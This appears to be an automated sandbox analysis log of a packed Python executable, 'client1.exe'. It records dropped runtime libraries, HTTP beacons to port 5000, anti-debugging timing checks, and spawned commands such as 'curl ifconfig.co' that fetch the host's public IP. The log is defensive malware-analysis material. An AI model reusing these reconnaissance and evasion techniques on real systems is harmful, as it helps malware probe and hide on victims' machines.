Source: client1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: client1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: client1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: client1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]

Source: client1.exe	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: python311.dll.0.dr	Static PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F6710E4 push rcx; retn 0000h	0_2_00007FF79F6710ED
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F6710CC push rbp; retn 0000h	0_2_00007FF79F6710CD
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F6710E4 push rcx; retn 0000h	2_2_00007FF79F6710ED
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F6710CC push rbp; retn 0000h	2_2_00007FF79F6710CD
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C21B0 push rbp; retf	2_2_00007FFBAB1C21B3
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C21E8 push rbp; retf	2_2_00007FFBAB1C21F3
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C21E0 push rbp; retf	2_2_00007FFBAB1C21E3
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2118 push rsi; retf	2_2_00007FFBAB1C211B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2158 push rsi; retf	2_2_00007FFBAB1C215B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2130 push rbp; retf	2_2_00007FFBAB1C2133
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2180 push rsi; retf	2_2_00007FFBAB1C2183
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2168 push rsp; retf	2_2_00007FFBAB1C216B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2088 push rsi; retf	2_2_00007FFBAB1C209B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2080 push rsi; retf	2_2_00007FFBAB1C208B
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2070 push rbp; retf	2_2_00007FFBAB1C2073

Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson\_speedups.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI40522\select.pyd	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 5000

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F623DF0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF79F623DF0

Source: C:\Users\user\Desktop\client1.exe

Code function: 2_2_00007FFBAAE8572C rdtsc

2_2_00007FFBAAE8572C

Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\simplejson\_speedups.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40522\_hashlib.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\client1.exe

API coverage: 1.3 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F627820 FindFirstFileExW,FindClose,	0_2_00007FF79F627820
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F6409B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF79F6409B4
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	2_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F627820 FindFirstFileExW,FindClose,	2_2_00007FF79F627820
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	2_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F6409B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF79F6409B4
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2158 FindFirstFileW,	2_2_00007FFBAB1C2158
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83229 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,	2_2_00007FFBAAE83229

Source: client1.exe, 00000002.00000003.1476070498.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475442260.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475000813.000001692E63F000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: client1.exe, 00000002.00000003.1488562521.0000016930580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mllkkjihgfSLUZ\\\\\\\\\\\\\\\\\\\\
Source: curl.exe, 00000005.00000003.1485944623.00000249273D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cacert.pem.0.dr	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE8572C		2_2_00007FFBAAE8572C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE84241		2_2_00007FFBAAE84241

Source: C:\Users\user\Desktop\client1.exe

Code function: 2_2_00007FFBAAE8572C rdtsc

2_2_00007FFBAAE8572C

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F62B69C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF79F62B69C

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F6425A0 GetProcessHeap,

0_2_00007FF79F6425A0

Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F62B880 SetUnhandledExceptionFilter,	0_2_00007FF79F62B880
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F62B69C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF79F62B69C
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F62AE00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF79F62AE00
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F639AE4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF79F639AE4
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F62B880 SetUnhandledExceptionFilter,	2_2_00007FF79F62B880
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F62B69C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF79F62B69C
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F62AE00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF79F62AE00
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F639AE4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF79F639AE4
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAA710140 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FFBAA710140
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAA710A68 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FFBAA710A68
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAA733058 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FFBAA733058
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAA732A90 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FFBAA732A90
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2070 SetUnhandledExceptionFilter,	2_2_00007FFBAB1C2070
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE85A1F IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FFBAAE85A1F
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB4A2D10 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FFBAB4A2D10

Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Users\user\Desktop\client1.exe "C:\Users\user\Desktop\client1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.co"	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.co	Jump to behavior

Source: C:\Users\user\Desktop\client1.exe

Code function: 0_2_00007FF79F6489B0 cpuid

0_2_00007FF79F6489B0

Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\cryptography-43.0.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\client1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40522\base_library.zip VolumeInformation	Jump to behavior
